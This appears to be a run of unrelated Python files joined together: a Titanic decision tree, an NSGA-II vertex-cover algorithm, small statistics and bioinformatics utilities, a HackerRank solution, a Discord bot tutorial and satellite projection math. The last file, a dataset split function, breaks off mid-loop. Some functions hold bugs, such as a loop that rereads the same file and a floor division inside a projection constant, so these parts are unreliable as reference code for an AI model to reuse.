import pydotplus
import collections
from IPython.display import Image
from sklearn.tree import export_graphviz
from sklearn import tree
import pandas as pd

titanic_train = pd.read_csv('titanic_train.csv')
titanic_test = pd.read_csv('titanic_test.csv')

#Ajout 0 sur passagers sans canines
titanic_train['Cabin'] = titanic_train['Cabin'].fillna(0)
titanic_test['Cabin'] = titanic_test['Cabin'].fillna(0)

#Suppression passagers sans ages
titanic_train = titanic_train.dropna(axis=0)
titanic_test = titanic_test.dropna(axis=0)

#Ajout colonne Child
titanic_train['Child'] = titanic_train["Age"].apply(lambda x: 1 if x<18 else 0)
titanic_test['Child'] = titanic_test["Age"].apply(lambda x: 1 if x<18 else 0)

#Ajout colonne Sex_cat
titanic_train['Sex_cat'] = titanic_train["Sex"].apply(lambda sex: 1 if str(sex)=='female' else 0)
titanic_test['Sex_cat'] = titanic_test["Sex"].apply(lambda sex: 1 if str(sex)=='female' else 0)

#Ajout colonne Fare2
def fareCategory(fare):
    if (fare < 10):
        return 1
    elif (fare < 20):
        return 2
    elif (fare < 30):
        return 3
    else:
        return 4

titanic_train['Fare2'] = titanic_train["Fare"].apply(lambda fare: fareCategory(fare))
titanic_test['Fare2'] = titanic_test["Fare"].apply(lambda fare: fareCategory(fare))

#Ajout colonne Has cabin
titanic_test['cabin2'] = titanic_test["Cabin"].apply(lambda x: 0 if x==0 else 1)
titanic_train['cabin2'] = titanic_train["Cabin"].apply(lambda x: 0 if x==0 else 1)

#Ajout colonne Has cabin
titanic_test['cabin2'] = titanic_test["Cabin"].apply(lambda x: 0 if x==0 else 1)
titanic_train['cabin2'] = titanic_train["Cabin"].apply(lambda x: 0 if x==0 else 1)

#Ajout colonne
titanic_test['closeFamily'] = titanic_test["SibSp"] + titanic_test["Parch"]
titanic_train['closeFamily'] = titanic_train["SibSp"] + titanic_train["Parch"]

clf=tree.DecisionTreeClassifier(max_depth=3)
data_feature_name = ['Child','Sex_cat','Fare2','cabin2','closeFamily', 'Pclass']

clf=clf.fit(titanic_train[data_feature_name], titanic_train['Survived'])

dot_data = tree.export_graphviz(clf, out_file=None, feature_names=data_feature_name,class_names=['Dead', 'Survived'],filled=True,rounded=True)

graph = pydotplus.graph_from_dot_data(dot_data)

Image(graph.create_png())#toplotatree
Image(graph.write_png('./tree.png'))#tosavetheplot

acc_decision_tree = round(clf.score(titanic_train[data_feature_name], titanic_train['Survived']) * 100, 2)
print("Accuracy of the decision tree: ",acc_decision_tree)


import time
import random
from math import inf
from itertools import chain

from utils.result_set import ResultSet

class NSGA2:
    def __init__(self, order, heuristics, generations=100, population_size=100,
                 k_parents=2, crossover_chance=0.6, mutation_chance=0.4):
        self.order = order
        self.nodes_count = len(order)
        self.heuristics = heuristics
        self.dimensions = heuristics.dimensions
        self.generations = generations
        self.population_size = population_size
        self.sort_percentage = 0.5
        self.k_parents = min(population_size, k_parents)
        self.crossover_chance = crossover_chance
        self.mutation_chance = mutation_chance / self.nodes_count

        self.generate_strategy = 'random'
        # self.generate_strategy = 'prefix'
        # self.generate_strategy = 'heuristic'

        # self.crossover_strategy = 'partial_parent'
        self.crossover_strategy = 'majority'
        # self.crossover_strategy = 'vertex_cover'

        self.mutation_strategy = 'vertex_cover'
        # self.mutation_strategy = 'heuristic'

        self.this_population, self.next_population = self.generate_population()

    def run(self):
        for generation in range(self.generations):
            print('Generation', generation + 1)

            # crossover
            self.crossover()

            # mutation
            self.mutation()

            # sort population according to domination rank and crowding distance
            self.next_population = self.selection(*self.sort_population())
            self.this_population = self.copy_individuals(self.next_population)

            # self.crossover_chance *= 0.99
            # self.mutation_chance *= 1.1
            # print('Crossover {:.2f} - Mutation {:.3f}'.format(self.crossover_chance, self.mutation_chance))

    def generate_population(self):
        if self.generate_strategy == 'random':
            return self._generate_random_population()
        elif self.generate_strategy == 'prefix':
            return self._generate_prefix_population()
        elif self.generate_strategy == 'heuristic':
            return self._generate_heuristic_population()

    def _generate_random_population(self, zero_chance=0.2):
        populations = []

        # initialise chromosomes for current and next population
        for _ in range(2):
            population = []
            for count in range(self.population_size):
                chromosome = [0 if random.random() < zero_chance else 1 for _ in range(self.nodes_count)]
                new_individual = {
                    'chromosome': chromosome,
                    'cost': self.heuristics.compute_cost(chromosome)[0].pop()
                }
                population.append(new_individual)
            populations.append(population)

        return populations

    def _generate_prefix_population(self):
        populations = []

        viable = 2 * self.population_size
        min_length = len(bin(viable)) - 2
        counter = 0
        while viable:
            # get best assignment starting with this prefix
            partial_assignment = list(map(int, bin(counter)[2:].ljust(min_length, '0')))
            result, next_best = self.heuristics.compute_cost(partial_assignment)
            while not all(all(value == inf for value in cost) for cost in result) and \
                    len(partial_assignment) < self.nodes_count:
                partial_assignment.append(next_best)
                if len(partial_assignment) == self.nodes_count:
                    break
                result, next_best = self.heuristics.compute_cost(partial_assignment)

            # check if full solution and add to population
            if len(partial_assignment) == self.nodes_count:
                populations.append({
                    'chromosome': partial_assignment,
                    'cost': self.heuristics.compute_cost(partial_assignment)[0].pop()
                })
                viable -= 1

            counter += 1

        return populations[:self.population_size], populations[self.population_size:]

    def _generate_heuristic_population(self, heuristic_chance=0.5):
        populations = []

        # initialise chromosomes for current and next population
        for _ in range(2):
            population = []
            for count in range(self.population_size):
                chromosome = []
                for _ in range(self.nodes_count):
                    if random.random() < heuristic_chance:
                        _, next_best = self.heuristics.compute_cost(chromosome)
                        chromosome.append(next_best)
                    else:
                        chromosome.append(1)

                new_individual = {
                    'chromosome': chromosome,
                    'cost': self.heuristics.compute_cost(chromosome)[0].pop()
                }
                population.append(new_individual)
            populations.append(population)

        return populations

    def sort_population(self, combined=None, keep_best=None):
        # combine first and this population then sort and select next population
        combined = combined or (self.this_population + self.next_population)
        keep_best = keep_best or int(self.population_size * self.sort_percentage)

        # clean domination count and dominates for all individuals to be sorted
        for item in combined:
            if 'domination_count' in item:
                del item['domination_count']
            if 'dominates' in item:
                del item['dominates']
            if 'rank' in item:
                del item['rank']

        # compute domination rank for each chromosome
        first_front = []
        for first_count, first_individual in enumerate(combined):
            first_individual.setdefault('domination_count', 0)
            first_individual.setdefault('dominates', [])

            for second_individual in combined[first_count + 1:]:
                second_individual.setdefault('domination_count', 0)
                second_individual.setdefault('dominates', [])

                if first_individual['cost'] < second_individual['cost']:
                    first_individual['dominates'].append(second_individual)
                    second_individual['domination_count'] += 1
                elif first_individual['cost'] > second_individual['cost']:
                    second_individual['dominates'].append(first_individual)
                    first_individual['domination_count'] += 1

            # check if first individual belongs to the first front
            if not first_individual['domination_count']:
                first_individual['rank'] = 0
                first_front.append(first_individual)

        print('First front ({})'.format(len(first_front)), [item['cost'] for item in first_front][:10])

        # build next fronts starting from first front
        counter = 0
        fronts = [first_front]
        already_added = len(first_front)
        while already_added < keep_best:
            next_front = []
            for individual in fronts[counter]:
                for dominated in individual['dominates']:
                    dominated['domination_count'] -= 1
                    if not dominated['domination_count']:
                        dominated['rank'] = counter + 1
                        next_front.append(dominated)
            counter += 1
            already_added += len(next_front)
            fronts.append(next_front)

        # add other as last front in order to assign them a rank and a distance for tournament selection
        last_front = []
        for individual in combined:
            if 'rank' in individual:
                continue
            individual['rank'] = counter + 1
            last_front.append(individual)
        if last_front:
            fronts.append(last_front)

        # compute crowding distance on each front
        self.crowding_distance(fronts)

        # select best individuals according to crowding domination
        if last_front:
            return sorted(chain(*fronts[:-1]), key=lambda x: (x['rank'], -x['distance']))[:keep_best], last_front
        else:
            return sorted(chain(*fronts), key=lambda x: (x['rank'], -x['distance']))[:self.population_size], last_front

    @staticmethod
    def crowding_distance(fronts):
        for front in fronts:
            # initialize distances
            for individual in front:
                individual['distance'] = 0

            # for each objective sort and add distance
            objectives_count = len(front[0]['cost'])
            for dimension in range(objectives_count):
                sorted_front = sorted(front, key=lambda x: x['cost'][dimension])

                # save min and max values of this objective to normalize
                min_value = sorted_front[0]['cost'][dimension]
                max_value = sorted_front[-1]['cost'][dimension]
                factor = (max_value - min_value) or 10 ** -6

                # keep the most extreme solutions of this front
                sorted_front[0]['distance'] = sorted_front[-1]['distance'] = inf

                # update distance for each individual that is not an edge of the front
                for position, individual in enumerate(sorted_front[1:-1], 1):
                    individual['distance'] += (sorted_front[position + 1]['cost'][dimension] -
                                               sorted_front[position - 1]['cost'][dimension]) / factor

    def selection(self, temp_population, remaining):
        # tournament selection using rank and crowding distance
        while len(temp_population) < self.population_size:
            first, second = random.sample(remaining, 2)
            if (first['rank'], -first['distance']) < (second['rank'], -second['distance']):
                chosen = first
            else:
                chosen = second
            new_individual = self.copy_individual(chosen)
            temp_population.append(new_individual)
        return temp_population

    def crossover(self):
        if self.crossover_strategy == 'partial_parent':
            return self._partial_parent_crossover()
        elif self.crossover_strategy == 'majority':
            return self._majority_crossover()
        elif self.crossover_strategy == 'vertex_cover':
            return self._vertex_cover_crossover()

    def _partial_parent_crossover(self):
        for count in range(int(self.population_size * self.crossover_chance)):
            chosen_parents = random.sample(self.next_population, self.k_parents)
            new_individual = {'chromosome': [], 'cost': None}

            # choose each position according to best partial assignment of parent
            for position in range(self.nodes_count):
                # compute all partial assignments of the chosen parents
                parent_costs = []
                result_set = ResultSet()
                for parent in chosen_parents:
                    this_cost = self.heuristics.compute_cost(parent['chromosome'][:position + 1])[0]
                    parent_costs.append(this_cost)
                    result_set |= this_cost
                best_cost, index = max((len(result_set & cost), count) for count, cost in enumerate(parent_costs))
                new_individual['chromosome'].append(chosen_parents[index]['chromosome'][position])

            # compute cost of new individual
            new_individual['cost'] = self.heuristics.compute_cost(new_individual['chromosome'])[0].pop()

            # replace worst parent with new child
            worst_parent = min(chosen_parents, key=lambda k: k['cost'])
            self.next_population.remove(worst_parent)
            self.next_population.append(new_individual)

    def _majority_crossover(self):
        for count in range(int(self.population_size * self.crossover_chance)):
            chosen_parents = random.sample(self.next_population, self.k_parents)
            new_individual = {'chromosome': [], 'cost': None}

            # choose each position either using MBE heuristic or the majority of the parents
            for position in range(self.nodes_count):
                if all(parent['chromosome'][position] == 1 for parent in chosen_parents):
                    new_individual['chromosome'].append(1)
                elif all(parent['chromosome'][position] == 0 for parent in chosen_parents):
                    new_individual['chromosome'].append(0)
                else:
                    partial_cost, next_best = self.heuristics.compute_cost(new_individual['chromosome'])
                    new_individual['chromosome'].append(next_best)

            # compute cost of new individual and add to population
            new_individual['cost'] = self.heuristics.compute_cost(new_individual['chromosome'])[0].pop()
            self.next_population.append(new_individual)

    def _vertex_cover_crossover(self):
        for count in range(int(self.population_size * self.crossover_chance)):
            first_parent, second_parent = random.sample(self.next_population, 2)
            first_child, second_child = self.copy_individual(first_parent), self.copy_individual(second_parent)

            # choose random node to swap hard constraint solution for
            position = random.randrange(0, self.nodes_count)
            chosen_node = self.order[position]

            first_chromosome = first_child['chromosome']
            second_chromosome = second_child['chromosome']
            first_chromosome[position], second_chromosome[position] = \
                second_chromosome[position], first_chromosome[position]
            for neighbor in chosen_node.neighbors:
                position = self.order.index(neighbor)
                first_chromosome[position], second_chromosome[position] = \
                    second_chromosome[position], first_chromosome[position]

            # add new nodes to population
            first_child['cost'] = self.heuristics.compute_cost(first_child['chromosome'])[0].pop()
            second_child['cost'] = self.heuristics.compute_cost(second_child['chromosome'])[0].pop()
            self.next_population.append(first_child)
            self.next_population.append(second_child)

    def mutation(self):
        if self.mutation_strategy == 'vertex_cover':
            return self._vertex_cover_mutation()
        elif self.mutation_strategy == 'heuristic':
            return self._heuristic_mutation()

    def _vertex_cover_mutation(self):
        # vertex cover specific mutation
        for individual in self.next_population:
            changed = False
            for position in range(self.nodes_count):
                random_number = random.random()
                if random_number < self.mutation_chance / 2:
                    # if change from 1 to 0 set neighbors to 1; if change from 0 to 1 set neighbors to 0
                    value = individual['chromosome'][position]
                    individual['chromosome'][position] = 1 - value
                    node = self.order[position]
                    for neighbor in node.neighbors:
                        individual['chromosome'][self.order.index(neighbor)] = value
                    changed = True
                elif random_number < self.mutation_chance:
                    individual['chromosome'][position] = 1 - individual['chromosome'][position]
                    changed = True
            if changed:
                individual['cost'] = self.heuristics.compute_cost(individual['chromosome'])[0].pop()

    def _heuristic_mutation(self):
        # use heuristics to decide new value for a given position
        for individual in self.next_population:
            changed = False
            for position in range(self.nodes_count):
                random_number = random.random()
                if random_number < self.mutation_chance / 2:
                    this_chromosome = individual['chromosome']
                    _, next_best = self.heuristics.compute_cost(this_chromosome[:position])
                    this_chromosome[position] = next_best
                    changed = True
                elif random_number < self.mutation_chance:
                    individual['chromosome'][position] = 1 - individual['chromosome'][position]
                    changed = True
            if changed:
                individual['cost'] = self.heuristics.compute_cost(individual['chromosome'])[0].pop()

    @staticmethod
    def copy_individuals(individuals):
        return [NSGA2.copy_individual(individual) for individual in individuals]

    @staticmethod
    def copy_individual(individual):
        return {
            'chromosome': list(individual['chromosome']),
            'cost': individual['cost'],
            'rank': individual.get('rank'),
            'distance': individual.get('distance'),
        }


from math import sqrt
from os import stat
from turtle import st

class TinyStatistician():
    @staticmethod
    def mean(x):
        if not len(x):
            return None
        try:
            return float(sum(x)/len(x))
        except Exception:
            raise TypeError('x should be a non-empty int/float list or array.')

    @staticmethod
    def median(x):
        if not len(x):
            return None
        try:
            x.sort()
            return float(x[len(x)//2]) if len(x)%2!=0 else float((x[len(x)//2]+x[len(x)//2-1])/2)
        except Exception:
            raise TypeError('x should be a non-empty int/float list or array.')
    @staticmethod
    def quartile(x):
        if not len(x):
            return None
        try:
            x.sort()
            q1list = []
            q2list = []
            for i in x:
                if i<TinyStatistician.median(x):
                    q1list.append(i)
                elif i>TinyStatistician.median(x):
                    q2list.append(i)
            return (TinyStatistician.median(q1list),TinyStatistician.median(q2list))
        except Exception:
            raise TypeError('x should be a non-empty int/float list or array.')
    @staticmethod
    def var(x):
        if not len(x):
                return None
        try:
            mean=TinyStatistician.mean(x)
            return(float((sum(map(lambda x: (x-mean)*(x-mean),x)))/len(x)))
        except Exception:
            raise TypeError('x should be a non-empty int/float list or array.')
    @staticmethod
    def std(x):
        if not len(x):
                return None
        try:
            return float(sqrt(TinyStatistician.var(x)))
        except Exception:
            raise TypeError('x should be a non-empty int/float list or array.')

test=TinyStatistician()
l=[1,42,300,10,59]
print(test.mean(l))
print(test.median(l))
print(test.quartile(l))
print(test.var(l))
print(test.std(l))


from src.utils.bam import addHPtag
import pandas as pd
import sys,argparse

parser = argparse.ArgumentParser(description='Add HP cluster tag and YC color tag to reads given readname-->cluster(int) pairing. Default setting for use with read_info.txt output from hifi amplicon clustering')
parser.add_argument('inbam',help='bam contaning hifi reads to tag',
                    type=str)
parser.add_argument('readInfo',help='read_info.txt output from hifi amplicon cluster',
                    type=str)
parser.add_argument('outbam',help='output bam',type=str)
parser.add_argument('--names',help='zero-indexed column number with read names. default 0',
                    type=int,default=0)
parser.add_argument('--cluster',help='zero-indexed column number with cluster number. default 8',
                    type=int,default=8)
parser.add_argument('--sep',help='column separator. default <space>',
                    type=str,default=' ')
parser.add_argument('--header',action='store_true',help='treat first row as column headers. default no header',
                    default=False)

args = parser.parse_args()

class arghandle:
    def __init__(self,inbam):
        self.inBAM    = inbam
        self.drop     = False
        self.splitBam = False
        self.prog     ='foo'
        self.region   = None

table = pd.read_csv(args.readInfo,sep=args.sep,header=0 if args.header else None)

print('making clustermap')
clustermap = dict(table[[args.names,args.cluster]].values)

print('tagging bam')
addHPtag(arghandle(args.inbam),args.outbam,clustermap)
print('Done')


#!/bin/python3

import os
import sys

def orientation(a,b,c):
    area = (b[1] - a[1]) * (c[0] - b[0]) - (b[0] - a[0]) * (c[1] - b[1])
    return 0 if area == 0 else 1 if area > 0 else -1

def between1(a,b,c):            # dim=1
    return (a <= b <=c) or (a >= b >= c)

def between2(a,b,c):            # dim=2
    return between1(a[0],b[0],c[0]) and between1(a[1],b[1],c[1])

def intersect_p(a,b,c,d):
    o1 = orientation(a,b,c)
    if o1 == 0:
        return between2(a,c,b)
    o2 = orientation(a,b,d)
    if o2 == 0:
        return between2(a,d,b)
    o3 = orientation(c,d,a)
    if o3 == 0:
        return between2(c,a,d)
    o4 = orientation(c,d,b)
    if o4 == 0:
        return between2(c,b,d)
    return o1 != o2 and o3 != o4

# Complete the solve function below.
def solve(x1, y1, x2, y2, xm, ym):
    return "NO" if intersect_p((0,0),(xm,ym),(x1,y1),(x2,y2)) else "YES"

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    t = int(input())

    for t_itr in range(t):
        x1Y1X2Y2XmYm = input().split()

        x1 = int(x1Y1X2Y2XmYm[0])

        y1 = int(x1Y1X2Y2XmYm[1])

        x2 = int(x1Y1X2Y2XmYm[2])

        y2 = int(x1Y1X2Y2XmYm[3])

        xm = int(x1Y1X2Y2XmYm[4])

        ym = int(x1Y1X2Y2XmYm[5])

        result = solve(x1, y1, x2, y2, xm, ym)

        fptr.write(result + '\n')

    fptr.close()


import json
import pandas as pd
from . import preprocessor

@preprocessor('likes')
def _get_likes_data(zip_file, folders):
    like_table = pd.DataFrame({'time': [], 'reaction': []})

    paths = ['likes_and_reactions/posts_and_comments.json', 'likes_and_reactions/pages.json']
    for path in paths:
        # Likes on posts
        with zip_file.open('likes_and_reactions/posts_and_comments.json') as f:
            jdata = json.loads(f.read())

            likes = []
            times = []

            for i in jdata['reactions']:
                times.append(i['timestamp'])
                likes.append(i['data'][0]['reaction']['reaction'])

            temp_table = pd.DataFrame({'time': times, 'type': likes})
            temp_table.time = pd.to_datetime(temp_table.time, unit='s')
            like_table = pd.concat([like_table, temp_table])

    return like_table


from ew.static import cfg as ewcfg
from ew.static import poi as poi_static
from ew.utils import core as ewutils
from ew.utils import frontend as fe_utils
from ew.utils import rolemgr as ewrolemgr
from ew.utils.combat import EwUser
from ew.cmd.dungeons import dungeonutils

def format_tutorial_response(scene):
    response = scene.text
    if scene.dungeon_state:
        response += "\n\nWhat do you do?\n\n**>options: "
        options = []
        for path in scene.options.keys():
            options.append("{}{}".format(ewcfg.cmd_prefix, path))
        response += ewutils.formatNiceList(names=options, conjunction="or")
        response += "**"

    return response

async def begin_tutorial(member):
    user_data = EwUser(member=member)
    dungeonutils.user_to_tutorial_state[user_data.id_user] = 0

    scene = poi_static.dungeon_tutorial[0]

    if scene.poi != None:
        user_data.poi = scene.poi
    if scene.life_state != None:
        user_data.life_state = scene.life_state

    user_data.persist()

    await ewrolemgr.updateRoles(client=ewutils.get_client(), member=member)

    response = format_tutorial_response(scene)
    poi_def = poi_static.id_to_poi.get(user_data.poi)
    channels = [poi_def.channel]
    return await fe_utils.post_in_channels(member.guild.id, fe_utils.formatMessage(member, response), channels)


import numpy as np
#import warnings

def distance_sphere(lat1, long1, lat2, long2, flag=True):

    # Convert latitude and longitude to
    # spherical coordinates in radians.
    if flag:
        degrees_to_radians = np.pi/180.0;
    else:
        degrees_to_radians = 1;

    # theta = 90 - latitude
    theta1 = (90.0 - lat1)*degrees_to_radians
    theta2 = (90.0 - lat2)*degrees_to_radians

    # phi = longitude
    phi1 = long1*degrees_to_radians
    phi2 = long2*degrees_to_radians

    # Compute spherical distance from spherical coordinates.

    # For two locations in spherical coordinates
    # (1, phi, theta) and (1, phi', theta')
    # cosine( arc length ) =
    #    sin theta sin theta' cos(phi-phi') + cos theta cos theta'
    # distance = rho * arc length

    cos = (np.sin(theta1)*np.sin(theta2)*np.cos(phi1 - phi2) +
           np.cos(theta1)*np.cos(theta2))
    arc = np.arccos( cos )

    # Remember to multiply arc by the radius of the earth
    # in your favorite set of units to get length.
    return arc

def latlon_from_vz(vz,vaz,lat0,lon0,ix=1022):
    ##compute the lat and lon given the view
    ##zenith and view azimuth angle from the DSCOVR platform
    cos_vz=np.cos(vz); sin_vz=np.sin(vz);
    cos_vaz=np.cos(vaz);

    A=np.sin(lat0)**2-cos_vz**2;
    B=2*cos_vaz*sin_vz*cos_vz;
    C=np.sin(lat0)**2-(cos_vaz*sin_vz)**2;
    tan_lat=(-B+np.sqrt(B**2-4*A*C))/(2*A);

#    A=(cos_vaz*sin_vz)**2+cos_vz**2;
#    B=2*cos_vaz*sin_vz*np.sin(lat0);
#    C=np.sin(lat0)**2-cos_vz**2;
#    flag=abs(A)<3e-2;
#    cos_lat=np.zeros_like(vz);
#    cos_lat[flag]=-C[flag]/B[flag];
#    cos_lat[~flag]=(-B[~flag]+np.sqrt(B[~flag]**2-4*A[~flag]*C[~flag]))/(2*A[~flag]);
#    cos_lat=(-B+np.sqrt(abs(B**2-4*A*C)))/(2*A);
#    sin_lat=(np.sin(lat0)+cos_vaz*sin_vz*cos_lat)/cos_vz;
#    lat=np.arctan(sin_lat/cos_lat);
    lat=np.arctan(tan_lat); cos_lat=np.cos(lat);
    cos_lon=(cos_vz/cos_lat-np.sin(lat0)*tan_lat)/np.cos(lat0);
    lon=np.arccos(cos_lon); lon[:,:ix]=-lon[:,:ix];
    lon+=lon0; lon[lon<-np.pi]+=2*np.pi;

    return lat,lon

def latlon_from_xy(x,y,lat0,lon0,R,E2=6.694e-3):
    d2r=np.pi/180.0;
    lat0*=d2r; lon0*=d2r;
    latout=np.nan+np.zeros_like(x);  lonout=np.nan+np.zeros_like(x);
    r=np.sqrt(x**2+y**2);
    mask=r<R;
    x=x[mask]; y=y[mask]; r=r[mask];

    c=np.arcsin(r/R);
    lat=np.arcsin(np.cos(c)*np.sin(lat0)-y*np.cos(lat0)/R);
#    print(np.sin(lat))
    if E2>0:
        foo=np.sin(lat);
        RR=R/(1+0.5*E2*foo**2+(13.0e-3)*np.abs(foo)**(1/3)*(1-np.abs(foo)));  ##ellipsoid
#        RR=R/(1+0.5*E2*foo**2);
    #    RR=R;  ##spheroid
        c=np.arcsin(r/RR);
        lat=np.arcsin(np.cos(c)*np.sin(lat0)-y*np.cos(lat0)/RR);

        RR=R/(1+0.5*E2*np.sin(lat)**2);  ##ellipsoid
    else:
        RR=R;
    c=np.arcsin(r/RR); sin_c=r/RR; ctan_c=np.cos(c)/sin_c;
    lon=lon0+np.arctan2(x,(r*ctan_c*np.cos(lat0)+y*np.sin(lat0)));
    if isinstance(lon, (list, tuple, np.ndarray)):
        lon[lon<-np.pi]+=(2*np.pi); lon[lon>np.pi]-=(2*np.pi);
    elif lon<-np.pi:
        lon+=(2*np.pi);
    elif lon>np.pi:
        lon-=(2*np.pi);
    latout[mask]=lat; lonout[mask]=lon;
    return latout/d2r,lonout/d2r

def grid_lonlat(dx=17000,dy=17000,lon0=0,x0=0,y0=0):
    import pyproj
    from pyresample import utils

    proj_dict = '+proj=sinu +lon_0='+str(lon0)+'+x_0='+str(x0)+'y_0='+str(y0);
    prj = pyproj.Proj(proj_dict);

    x_len, tmp = prj(180,0); x_len-=dx/2;
    tmp, y_len = prj(0,90); y_len-=dy/2;

    area_id = 'ease_sh'; name = area_id; proj_id = area_id;
    x_size = np.floor((2*x_len)/dx); y_size = np.floor((2*y_len)/dy);
    area_extent=(-x_len,-y_len,-x_len+x_size*dx,-y_len+y_size*dy);
    area_def = utils.get_area_def(area_id, name, proj_id, proj_dict, x_size, y_size, area_extent);
    lonp,latp=area_def.get_lonlats();
    lonp=lonp.astype('float32'); latp=latp.astype('float32');
    for i in range(lonp.shape[0]):
        icenter=int(np.ceil(lonp.shape[1]/2)); tmp=lonp[i,:icenter];
        ixb=icenter-np.argmax(tmp[::-1]>10);
        if ixb>=icenter: ixb=0;
        lonp[i,:ixb]=np.nan;
        latp[i,:ixb]=np.nan;
        icenter=int(np.floor(lonp.shape[1]/2)); tmp=lonp[i,icenter:];
        ixb=icenter+np.argmax(tmp<-10);
        if ixb<=icenter: ixb=lonp.shape[1];
        lonp[i,ixb:]=np.nan;
        latp[i,ixb:]=np.nan;

    return lonp,latp,area_def

def latlon_from_xy_EPIC (x, y, lat0, lon0, R, E2=6.694e-3, FalseN=0, FalseE=0):

    latout=np.nan+np.zeros_like(x);  lonout=np.nan+np.zeros_like(x);
    mask=x**2+y**2<(1-E2)*R**2;
    x=x[mask]; y=-y[mask];
#    % Useful constants
    d2r=np.pi/180; lat0*=d2r; lon0*=d2r;
    sin_lat0 = np.sin(lat0);
    cos_lat0 = np.cos(lat0);
    nu0 = R/np.sqrt(1-2*E2*sin_lat0**2 );
    const1 = nu0*E2*cos_lat0*sin_lat0;
#% Seed with center of projection
    lat = lat0+np.zeros_like(x);
    lon = lon0+np.zeros_like(x);
#% Start the iteration
    flag=lat>-1e30; iter=0;
    while flag.any() and iter<40:
#   % Pre-computations
        sin_lat = np.sin(lat[flag]);
        cos_lat = np.cos(lat[flag]);
        sin_lon_minus_lon0 = np.sin(lon[flag]-lon0);
        cos_lon_minus_lon0 = np.cos(lon[flag]-lon0);
#% Radii
        nu = R / np.sqrt(1 - E2*sin_lat**2);
        rho = R * (1 - E2) / (np.sqrt(1 - E2 * sin_lat**2)**3);
#% Test value using forward equations
        xtest = FalseE + nu*cos_lat*sin_lon_minus_lon0;
        ytest = FalseN - nu*sin_lat0*cos_lat*cos_lon_minus_lon0 + const1 + nu*(1-E2)*sin_lat*cos_lat0;
#% Solve the partials
        Xlat = -rho*sin_lat*sin_lon_minus_lon0;  #% dX/dlat
        Xlon = nu*cos_lat*cos_lon_minus_lon0;   #% dX/dlon
        Ylat = rho*(cos_lat*cos_lat0 + sin_lat*sin_lat0*cos_lon_minus_lon0); #% dY/dlat
        Ylon = nu*sin_lat0*cos_lat*sin_lon_minus_lon0; #%  dY/dlon
#% Determinant of the Jacobian
        deter = Xlat*Ylon-Xlon*Ylat;
#% X/Y error this iteration
        ytestnum = y[flag] - ytest;
        xtestnum = x[flag] - xtest;
        testnum = np.sqrt(ytestnum**2+xtestnum**2); #% Radial errorr
#% Adjust the geographicals
#        print(deter)
        lat[flag] = lat[flag] + (Ylon*xtestnum - Xlon*ytestnum)/deter;
        lon[flag] = lon[flag] + (-Ylat*xtestnum + Xlat*ytestnum)/deter;
        foo=flag[flag];  foo[testnum<=0.001]=False; flag[flag]=foo;
        iter+=1;
    lon[flag]=np.nan; lat[flag]=np.nan;
    lon[lon<-np.pi]+=(2*np.pi); lon[lon>np.pi]-=(2*np.pi);
    lat[np.abs(lat)>90]=np.nan; lon[np.abs(lon)>180]=np.nan;
    latout[mask]=lat; lonout[mask]=lon;
    return latout/d2r,lonout/d2r

def xy_from_latlon_EPIC (lat, lon, lat0, lon0, R=1, E2=6.694e-3, FalseN=0, FalseE=0):
#% A is semi-major axis of the ellipsoid, E2 is eccentricity squared
#% lat0, lon0 define the origin (radians), lat
#rad, lon point to be converted (radians)
#% xgrid, ygrid are Easting and Northing, FalseE, Fal

#% Useful constants
    d2r = np.pi/180;  #% degrees to radians
    lat=lat*d2r; lon=lon*d2r; lat0=lat0*d2r; lon0=lon0*d2r;
    sin_lat0 = np.sin(lat0);
    cos_lat0 = np.cos(lat0);
    nu0 = R/np.sqrt(1-E2*sin_lat0**2);
    const1 = nu0*E2*cos_lat0*sin_lat0;
#% Pre-computations
    sin_lat = np.sin(lat);
    cos_lat = np.cos(lat);
    sin_lon_minus_lon0 = np.sin(lon-lon0);
    cos_lon_minus_lon0 = np.cos(lon-lon0);
#% Radii
    nu = R / np.sqrt(1 - E2*sin_lat**2);  #% Prime vertical
#    rho = R * (1 - E2) / (np.sqrt(1 - E2 * sin_lat**2)**3); #% Meridian
#% Forward equations
    x = FalseE + nu*cos_lat*sin_lon_minus_lon0;
    y = FalseN + nu*sin_lat0*cos_lat*cos_lon_minus_lon0 - const1 -  nu*(1-E2)*sin_lat*cos_lat0;

    return x,y

def view_angle_from_latlon_EPIC (lat, lon, lat0, lon0, E2=6.694e-3):
#% Useful constants
    d2r = np.pi/180;  #% degrees to radians
    lat=lat*d2r; lon=lon*d2r; lat0=lat0*d2r; lon0=lon0*d2r;
    sin_lat0 = np.sin(lat0);
    cos_lat0 = np.cos(lat0);
    nu0 = 1//np.sqrt(1-E2*sin_lat0**2);
    const1 = nu0*E2*cos_lat0*sin_lat0;
#% Pre-computations
    sin_lat = np.sin(lat);
    cos_lat = np.cos(lat);
    sin_lon_minus_lon0 = np.sin(lon-lon0);
    cos_lon_minus_lon0 = np.cos(lon-lon0);
#% Radii
    nu = 1 / np.sqrt(1 - E2*sin_lat**2);  #% Prime vertical
#    rho = R * (1 - E2) / (np.sqrt(1 - E2 * sin_lat**2)**3); #% Meridian
#% Forward equations
    x =  nu*cos_lat*sin_lon_minus_lon0;
    y =  nu*sin_lat0*cos_lat*cos_lon_minus_lon0 - const1 -  nu*(1-E2)*sin_lat*cos_lat0;

    rou = np.sqrt(x**2+y**2)
    vz = np.arcsin(rou)/d2r;
    vaz = np.arctan2(x,-y)/d2r;
    vz[rou>=1]=np.nan; vaz[rou>=1]=np.nan;

    return vz,vaz

def argmax_ext(array, exponent):
    array[np.isnan(array)] = -1;
    idx = np.unravel_index(np.argmax(array),array.shape)
    c = array[idx]
    t1 = np.max(array[:,min(array.shape[1]-1,max(0,idx[1]+5))])
    t2 = np.max(array[min(array.shape[0]-1,max(0,idx[0]+5)),:])
    distx = c - t1; disty = c - t2
    return idx[0],idx[1],round(c,3),round(disty,3),round(distx,3)

#    col = np.arange(array.shape[0])[:, np.newaxis]
#    row = np.arange(array.shape[1])[np.newaxis, :]
#    array[np.isnan(array)] = 0
#    arr2 = array ** exponent
#    arrsum = arr2.sum()
#    if arrsum == 0:
#        # We have to return SOMETHING, so let's go for (0, 0)
#        return (0,0)
#    arrprody = np.sum(arr2 * col) / arrsum
#    arrprodx = np.sum(arr2 * row) / arrsum
#    return (arrprody, arrprodx)


import os
import random
import shutil

"""split the whole dataset into train and test"""
def move_file(file_path, move_path):
    file_list = os.listdir(file_path)
    all_num = len(file_list)
    ratio = 0.3
    random.seed(12)
    pick_num = int(all_num * ratio)
    sample = random.sample(file_list, pick_num)
    print(len(sample))
    # for i in sample:
